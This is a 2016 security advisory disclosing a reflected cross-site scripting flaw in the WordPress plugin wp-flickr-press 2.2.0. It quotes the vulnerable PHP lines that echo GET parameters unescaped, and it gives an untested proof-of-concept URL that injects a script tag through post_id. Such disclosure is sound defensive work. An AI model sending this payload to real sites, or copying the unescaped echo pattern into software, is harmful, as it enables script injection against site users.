Advisory #: 751
Title: Reflected XSS in wordpress plugin wp-flickr-press v2.2.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-flickr-press
Downloads: 22796
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-flickr-press
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-flickr-press/media-upload_search.php: 112: <input type="hidden" name="post_id" value="<?php echo $_GET['post_id'] ?>" /> 113: <input type="hidden" name="type" value="<?php echo $_GET['type'] ?>" /> 114: <input type="hidden" name="mode" value="<?php echo $_GET['mode'] ?>" /> 115: <input type="hidden" name="TB_iframe" value="<?php echo $_GET['TB_iframe'] ?>" /> 152: <input type="hidden" name="post_id" value="<?php echo $_GET['post_id'] ?>" /> 153: <input type="hidden" name="type" value="<?php echo $_GET['type'] ?>" /> 154: <input type="hidden" name="mode" value="<?php echo $_GET['mode'] ?>" /> 155: <input type="hidden" name="TB_iframe" value="<?php echo $_GET['TB_iframe'] ?>" /> The variable post_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-flickr-press/media-upload_search.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-flickr-press/media-upload_search.php?post_id="><script>alert(1);</script><"